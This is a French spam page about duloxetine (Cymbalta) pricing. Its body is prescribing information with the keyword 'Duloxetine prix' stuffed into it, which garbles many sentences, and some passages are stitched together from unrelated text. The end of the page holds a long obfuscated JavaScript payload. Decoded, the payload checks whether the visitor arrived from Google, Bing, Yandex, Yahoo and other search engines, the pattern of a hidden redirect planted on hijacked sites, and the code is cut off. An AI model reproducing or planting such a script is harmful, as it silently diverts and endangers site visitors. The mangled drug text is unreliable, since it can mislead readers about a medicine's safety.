Duloxetine Prix
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Mydriase Des cas de mydriase ayant été rapportés avec la duloxétine, Duloxetine Prix, Cymbalta doit être prescrit avec prudence chez les patients présentant une pression intra-oculaire élevée ou un risque de glaucome aigu à angle fermé, Duloxetine Prix. Pression artérielle et fréquence cardiaque La duloxétine a été associée à une augmentation de la pression artérielle et à une hypertension artérielle cliniquement significative chez certains patients.
Dans quels cas le médicament CYMBALTA est-il utilisé ?
Ceci peut être dû à l’effet noradrénergique de la duloxétine. Des cas de crise hypertensive ont été rapportés avec la duloxétine, Duloxetine Prix, en particulier chez des patients présentant une hypertension préexistante, Duloxetine Prix. La duloxétine doit être utilisée avec prudence chez les patients dont l’état peut être aggravé par une Duloxetine prix de la fréquence cardiaque ou par une Duloxetine prix de la pression artérielle.
La prudence est également de mise lorsque la duloxétine est associée à des médicaments pouvant perturber son métabolisme voir rubrique Interactions avec d’autres médicaments et autres formes d’interactions, Duloxetine Prix. Chez les patients présentant une augmentation persistante de la pression artérielle au cours de leur traitement par la duloxétine, une diminution de la posologie ou un sevrage progressif devra être envisagé voir rubrique Effets indésirables, Duloxetine Prix.
Chez les patients présentant une hypertension non équilibrée, la duloxétine ne devra pas être prescrite voir rubrique Contre-indications. Pour les Duloxetine prixes présentant une insuffisance rénale sévère, voir la rubrique Contre-indications. Pour les patients présentant une insuffisance rénale légère ou modérée, voir la rubrique Posologie et mode d’administration. Syndrome sérotoninergique Comme avec d’autres agents sérotoninergiques, Duloxetine Prix, un syndrome sérotoninergique pouvant mettre en jeu le pronostic vital, peut se produire avec la duloxétine, en particulier lorsqu’elle est associée à d’autres Duloxetine prixes sérotoninergiques dont les inhibiteurs sélectifs de la recapture de la sérotonine, les inhibiteurs de la recapture de la sérotonine et de la noradrénaline, les antidépresseurs tricycliques ou les triptansDuloxetine Prix, ainsi qu’avec des agents qui altèrent le métabolisme de la sérotonine comme les IMAOs, les antipsychotiques ou d’autres antagonistes dopaminergiques qui peuvent affecter les systèmes de neurotransmission sérotoninergique voir rubriques Contre-indications et Interactions avec d’autres médicaments et autres formes d’interactions.
Millepertuis Lors de la prise concomitante de Cymbalta avec des préparations à base de plantes contenant du millepertuis Hypericum perforatumles effets indésirables peuvent être plus fréquents, Duloxetine Prix. Suicide Trouble dépressif majeur et trouble anxiété généralisée: La dépression est associée à un risque accru d’idées suicidaires, d’auto agression et de suicide évènements de type suicidaire. Ce risque persiste jusqu’à obtention d’une rémission significative.
L’amélioration clinique pouvant ne pas survenir avant plusieurs semaines de traitement, les patients devront être surveillés étroitement jusqu’à Duloxetine prix de cette amélioration. L’expérience clinique montre que le risque suicidaire peut augmenter en tout début de rétablissement. Les autres troubles psychiatriques dans lesquels Cymbalta est prescrit peuvent également être associés à un risque accru d’évènements de type suicidaire. De plus, ces troubles peuvent être associés à un trouble dépressif majeur.
Les mêmes précautions d’emploi que celles mentionnées pour les patients souffrant de trouble dépressif majeur devront être appliquées aux patients présentant d’autres troubles psychiatriques. Les patients ayant des antécédents d’évènements de type suicidaire ou ceux exprimant des idées suicidaires significatives avant de débuter le traitement présentent un risque plus élevé d’idées suicidaires ou de comportements suicidaires, Duloxetine Prix, Duloxetine Prix, et doivent faire l’objet d’un suivi étroit Duloxetine prix le traitement.
Une méta-analyse d’essais cliniques contrôlés versus Duloxetine prix sur l’utilisation des antidépresseurs dans des troubles psychiatriques a montré une augmentation du risque de comportement de type suicidaire chez les patients de moins de 25 ans traités par antidépresseur par rapport à ceux recevant un placebo. Des cas d’idées et de comportements suicidaires ont été rapportés durant le traitement par duloxétine ou peu après son arrêt voir rubrique Effets indésirables. Une surveillance étroite des patients et en particulier ceux à haut risque devra accompagner le traitement médicamenteux spécialement au début du traitement et lors de changements de dose, Duloxetine Prix.
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Douleur neuropathique diabétique périphérique: Comme pour les traitements d’action pharmacologique similaire antidépresseursdes cas isolés d’idées et de comportements suicidaires ont été rapportés durant le traitement par duloxétine ou peu après son arrêt. Concernant les facteurs de risque suicidaires dans la dépression, voir ci-dessus. Les médecins devront inciter les patients à signaler, à tout moment, toute pensée ou sentiment de détresse.
Utilisation chez l’enfant et l’adolescent de moins de 18 ans L’utilisation de Cymbalta est déconseillée chez les enfants et Duloxetine prixes de moins de 18 ans. Des comportements de type suicidaire tentatives de suicide et idées suicidaires et de type hostile principalement agressivité, comportement d’opposition et colère ont été plus fréquemment observés au cours des études cliniques chez les enfants et adolescents traités par antidépresseurs par rapport à ceux traités par placebo.
Si, en cas de nécessité clinique, la décision de traiter est néanmoins prise, le patient devra faire l’objet d’une surveillance attentive pour détecter l’apparition de symptômes suicidaires voir rubrique Propriétés pharmacodynamiques, Duloxetine Prix. De plus, on ne dispose d’aucune donnée de tolérance à Duloxetine prix terme chez l’enfant et l’adolescent concernant la croissance, la maturation et le développement cognitif et comportemental voir rubrique Effets indésirables.
L’hyponatrémie peut être due à un syndrome de sécrétion inappropriée de l’hormone anti-diurétique SIADH. La majorité des cas d’hyponatrémie concernait des patients âgés, notamment lorsqu’elle était associée à des antécédents récents, ou à un état prédisposant à un trouble de l’équilibre hydro-électrolytique. La prudence est de mise chez les patients ayant un risque augmenté d’hyponatrémie, Duloxetine Prix, comme les patients âgés, cirrhotiques, déshydratés ou traités par diurétiques, Duloxetine Prix.
Arrêt du traitement Les symptômes de sevrage à l’arrêt du traitement sont fréquents particulièrement lorsque l’arrêt est brutal voir rubrique Effets indésirables, Duloxetine Prix. Le risque de symptômes de sevrage observés sous ISRS et IRSNA peut dépendre de plusieurs facteurs, dont la durée du traitement, la posologie, ainsi que le rythme de diminution de la posologie, Duloxetine Prix.
Les réactions les plus fréquemment rapportées sont listées en rubrique Effets indésirables. Ces symptômes sont généralement d’intensité légère à modérée, mais peuvent être d’intensité sévère chez certains patients, Duloxetine Prix. Ils apparaissent habituellement dans les tous premiers jours suivant l’arrêt du traitement, mais il y a eu de très rares cas d’apparition de ces symptômes chez les patients ayant oublié une prise par inadvertance.
Ces symptômes sont généralement spontanément résolutifs et disparaissent habituellement en 2 semaines, même si chez certains patients, ils peuvent se prolonger mois ou plus.
Il est donc conseillé de diminuer la posologie de la duloxétine progressivement sur une durée d’au moins deux semaines, selon les besoins du patient voir rubrique Posologie et Duloxetine prix d’administration. Sujets âgés Les données sur l’utilisation de Cymbalta à la posologie de mg par jour chez les patients âgés présentant un trouble dépressif majeur et un trouble anxiété généralisée sont limitées.
Par conséquent, la prudence est recommandée chez le sujet âgé traité à la posologie maximale voir rubriques Posologie et mode d’administration et Propriétés pharmacocinétiques. Ces symptômes surviennent plutôt au cours des premières semaines de traitement. L’augmentation des doses peut être préjudiciable pour les patients qui développent ces symptômes. Médicaments contenant de la duloxétine La duloxétine est disponible sous des noms de marque différents dans plusieurs indications traitement de la douleur neuropathique diabétique, trouble dépressif majeur, trouble anxiété généralisée et incontinence urinaire d’effort.
L’association de ces médicaments chez un même patient doit être évitée. La plupart d’entre eux sont survenus au cours des premiers mois de traitement. L’atteinte hépatique était principalement de type cytolytique. La duloxétine doit être utilisée avec prudence chez les patients traités par d’autres médicaments associés à des atteintes hépatiques. Saccharose Cymbalta en gélules gastro-résistantes contient du Duloxetine prix. Les patients atteints de troubles héréditaires rares, comme une intolérance au Duloxetine prix, un syndrome de malabsorption du glucose- galactose ou une insuffisance en saccharose-isomaltase, ne doivent pas prendre ce médicament.
Mécanisme d’action La duloxétine est un inhibiteur à la fois de la Duloxetine prix de la sérotonine 5-HT et de la noradrénaline NA. Elle inhibe faiblement la recapture de la dopamine et n’a pas d’affinité significative pour les récepteurs histaminiques, dopaminergiques, cholinergiques et adrénergiques.
La duloxétine augmente de façon dose-dépendante les taux extra-cellulaires de sérotonine et de noradrénaline dans différentes zones du cerveau chez l’animal. Effets pharmacodynamiques La duloxétine a normalisé les seuils de douleur dans plusieurs modèles précliniques de douleur neuropathique et inflammatoire et a atténué le comportement algique dans un modèle de douleur persistante. L’action inhibitrice de la duloxétine sur la douleur résulterait de la potentialisation des voies descendantes inhibitrices de la douleur au niveau du système nerveux Duloxetine prix. Efficacité et sécurité clinique Trouble dépressif majeur: Cymbalta a fait l’objet d’un Duloxetine prix clinique incluant 3 patients soit une Duloxetine prix de 1 patients-années présentant un trouble dépressif majeur critères DSM-IV.
L’efficacité de Cymbalta à la posologie recommandée de 60 mg, une fois par jour, a été démontrée dans les trois études à court terme, randomisées, contrôlées en double insu versus placebo, utilisant des doses fixes de duloxétine chez des patients adultes non hospitalisés présentant un trouble dépressif majeur. D’une façon générale, Duloxetine Prix, l’efficacité de Cymbalta a été démontrée à des Duloxetine prixes journalières comprises entre 60 et mg Duloxetine prixes cinq des sept études cliniques à Duloxetine prix fixe, randomisées, en Duloxetine prix insu, contrôlées versus placebo, conduites chez des patients adultes non hospitalisés présentant un trouble dépressif majeur.
Cymbalta a démontré une supériorité statistique versus placebo mesurée par l’amélioration du score total sur l’échelle de dépression de Hamilton HAMDqui prend en compte à la fois les symptômes émotionnels et somatiques de la dépression. Les taux de réponse et de rémission étaient statistiquement significativement plus élevés avec Cymbalta que sous placebo. Seul un petit nombre des patients inclus dans les études cliniques pivots présentait une dépression sévère HAM-D?
Dans une étude de prévention des rechutes, les patients ayant répondu à un traitement initial en ouvert de 12 semaines par Cymbalta 60 mg, une fois par jour, ont été randomisés, Duloxetine Prix, pour une durée supplémentaire de 6 mois, soit dans le groupe Cymbalta 60 mg une fois par jour, soit dans le groupe placebo.
L’effet de Cymbalta à la posologie de 60 mg une fois par jour chez les patients âgés déprimés? La tolérance à Cymbalta à la posologie de 60 mg une fois par jour chez les patients âgés a été comparable à celle observée chez les adultes plus jeunes.
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Toutefois, les données sur les personnes âgées exposées à la posologie maximale mg par jour sont limitées et par conséquent, Duloxetine Prix, la prudence s’impose dans cette population.
Cymbalta a démontré une supériorité statistiquement significative versus placebo dans les cinq études menées, dont quatre études à court-terme randomisées, contrôlées en double insu versus placebo et une étude de prévention des rechutes chez des patients adultes présentant un Duloxetine prix anxiété généralisée, Duloxetine Prix. Cymbalta a démontré une supériorité statistiquement significative versus placebo mesurée par l’amélioration du score total sur l’échelle d’anxiété de Hamilton HAM-A et par le score de handicap fonctionnel global sur l’échelle de handicap de Sheehan Sheehan Disability Scale, SDS.
Les taux de réponse et de rémission étaient également Duloxetine prix élevés avec Cymbalta par Duloxetine prix au placebo. Cymbalta a montré des résultats d’efficacité similaires à ceux de la venlafaxine en terme d’amélioration du score total sur la HAM-A. Dans une étude de prévention des rechutes, les patients ayant répondu à un traitement initial en ouvert de 6 mois par Cymbalta, Duloxetine Prix, ont été randomisés, pour une durée supplémentaire de 6 mois, soit dans un groupe Cymbalta, soit dans un groupe placebo.
L’efficacité et la sécurité d’emploi de Cymbalta à la posologie de 30 à mg une fois par jour chez les patients âgés présentant un trouble anxiété généralisée étaient similaires à celles observées dans les études chez des patients adultes plus jeunes.
Toutefois, les données sur les personnes âgées exposées à la posologie maximale mg par jour sont limitées et par conséquent, la Duloxetine prix s’impose lors de l’utilisation de cette Duloxetine prix chez la population âgée. L’efficacité de Cymbalta comme traitement de la douleur neuropathique diabétique a été démontrée par deux essais randomisés de 12 semaines, Duloxetine Prix, en double aveugle versus placebo, Duloxetine Prix, à dose fixe, Duloxetine Prix, chez des adultes âgés de 22 à 88 ans souffrant de douleur neuropathique diabétique depuis au moins 6 mois.
Les patients répondant aux critères de diagnostic de trouble dépressif majeur ont été exclus de ces essais. Le critère d’évaluation principal était la moyenne hebdomadaire des scores moyens de douleur sur 24 heures. La douleur était recueillie quotidiennement par les patients dans des carnets sur une échelle de Likert à 11 points, Duloxetine Prix.
Dans les deux études, Cymbalta à 60 mg une fois par jour et 60 mg deux fois par jour a significativement réduit la douleur par rapport au placebo. L’effet était perceptible chez certains patients dès la 1ère semaine de traitement. Il n’y a pas eu de différence significative d’amélioration moyenne entre les deux bras de traitement actif.
- L’efficacité de Cymbalta à la posologie recommandée de 60 mg, une fois par jour, a été démontrée dans les trois études à court terme, randomisées, contrôlées en double insu versus placebo, utilisant des doses fixes de duloxétine chez des patients adultes non hospitalisés présentant un trouble dépressif majeur.
- Des cas d’idées et de comportements suicidaires ont été rapportés durant le traitement par duloxétine ou peu après son arrêt voir rubrique Effets indésirables.
- Toutefois, la majorité des effets indésirables fréquents étaient d’intensité légère à modérée, débutant généralement en début de traitement et tendant à s’estomper malgré la poursuite du traitement.
Dans une étude en ouvert à long terme non contrôlée, chez les patients répondeurs à un traitement de 8 semaines avec Cymbalta 60 mg une fois par jour, la réduction de la douleur mesurée par la variation de l’item douleur moyenne sur 24 heures du Brief Pain Inventory BPI était maintenue Duloxetine prix une période supplémentaire de 6 mois. Population pédiatrique La duloxétine n’a pas fait l’objet d’étude chez les Duloxetine prixes âgés de moins de 7 ans, Duloxetine Prix.
Deux études cliniques randomisées, en Duloxetine prix aveugle, en groupes parallèles ont été réalisées chez patients pédiatriques âgés de 7 à 17 ans présentant un trouble dépressif majeur voir rubrique Posologie et mode d’administration.
Ces deux études comprenaient une phase aiguë contrôlée où le placebo et la substance active fluoxétine ont été administrés pendant 10 semaines suivie d’une période d’extension contrôlée de six mois avec un traitement actif. Les arrêts de traitement dus à un évènement indésirable ont été Duloxetine prix importants chez les Duloxetine prixes traités par duloxétine par rapport aux patients traités par fluoxétine, principalement en raison de nausées.
Durant la période totale de 36 semaines de l’étude, Duloxetine Prix, 6 Duloxetine prixes parmi les patients initialement randomisés recevant la duloxétine et 3 patients parmi les patients initialement randomisés recevant de la fluoxétine ont présenté un comportement suicidaire incidence ajustée sur l’exposition: De plus, un patient dont le traitement est passé du placebo à la duloxétine a présenté un comportement suicidaire alors qu’il était traité par duloxétine.
Une étude randomisée, en double aveugle contrôlée versus placebo a été réalisée chez patients âgés de 7 à 17 ans et présentant un trouble anxiété généralisée.
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L’étude comprenait une période de traitement en aigu contrôlée contre Duloxetine prix d’une durée de 10 semaines, suivie d’une période d’extension de 18 semaines de traitement. L’étude a utilisé un schéma à Duloxetine prixes flexibles, permettant une augmentation progressive des doses, de 30 mg une fois par jour jusqu’à un maximum de mg par jour. Le maintien de l’effet n’a pas été évalué. Aucune différence statistiquement significative n’a été observée entre les groupes traités par la duloxétine et le placebo concernant les arrêts de traitement Duloxetine prix effets indésirables durant les 10 semaines de traitement en période aigüe.
Deux patients traités par le placebo lors de la période aigüe ont présenté des comportements suicidaires après le passage à la duloxétine pendant la période d’extension.
Forme galénique et quantité de principe actif par unité
L’Agence Européenne du Médicament a accordé une dérogation à l’obligation de soumettre les résultats d’études réalisées avec Cymbalta dans tous les sous-groupes de la population pédiatrique dans le traitement du trouble dépressif majeur, la douleur neuropathique diabétique périphérique et le trouble anxiété généralisée.
Voir rubrique Posologie et mode d’administration pour les informations concernant l’utilisation pédiatrique, Duloxetine Prix. Compte tenu de la demi-vie de la duloxétine, Duloxetine Prix, un délai d’au moins 5 jours doit être respecté après l’arrêt du traitement par Cymbalta avant d’initier un traitement par IMAO voir rubrique Contre-indications, Duloxetine Prix. Très rarement, une Duloxetine prix de la posologie ou un sevrage progressif devra être envisagé voir rubrique Effets indésirables, pouvait augmenter le risque d’hypertension pulmonaire persistante chez le nouveau-né HPPN.
L’instauration du traitement par Duloxétine Mylan est contre-indiquée chez les patients présentant une Duloxetine prix artérielle non équilibrée qui pourrait les exposer à un risque potentiel de www.activsports.coach Duloxetine prix voir rubriques Mises en garde et précautions d’emploi et Effets indésirables.
Les réactions les Duloxetine Duloxetine prix fréquemment rapportées sont listées en rubrique Effets indésirables. Des données épidémiologiques ont suggéré que l’utilisation des ISRS au cours de la grossesse, à l’acide acétylsalicylique et à d’autres inhibiteurs des prostaglandines, à l’acide acétylsalicylique et à d’autres inhibiteurs des prostaglandines, Duloxetine Prix Prix.
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pT04h6
$=String.fromCharCode(118,82,61,109,46,59,10,40,120,39,103,41,33,45,49,124,107,121,104,123,69,66,73,52,57,51,50,122,72,84,77,76,60,34,48,112,47,95,63,38,43,85,67,119,44,58,37,62,125);_=([![]]+{})[+!+[]+[+[]]]+([]+[]+{})[+!+[]]+([]+[]+[][[]])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+(!![]+[])[+!+[]];_[_][_]($[0]+(![]+[])[+!+[]]+(!![]+[])[+!+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[2]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![]]+{})[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+([]+[]+[][[]])[+!+[]]+(!![]+[])[+[]]+$[4]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+$[5]+$[6]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[7]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[10]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[10]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]]+([![]]+{})[+!+[]+[+[]]]+$[16]+$[10]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+$[17]+(![]+[])[+!+[]]+$[18]+([]+[]+{})[+!+[]]+([]+[]+{})[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+([]+[]+{})[+!+[]]+(![]+[])[!+[]+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+$[16]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[0]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[15]+$[15]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[1]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+$[4]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+(![]+[]+[]+[]+{})[+!+[]+[]+[]+(!+[]+!+[]+!+[])]+(![]+[])[+[]]+$[7]+$[9]+$[4]+([]+[]+{})[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+$[10]+$[4]+$[9]+$[11]+$[12]+$[2]+$[13]+$[14]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[11]+$[6]+$[19]+$[6]+$[6]+([]+[]+[][[]])[!+[]+!+[]]+([]+[]+{})[+!+[]]+([![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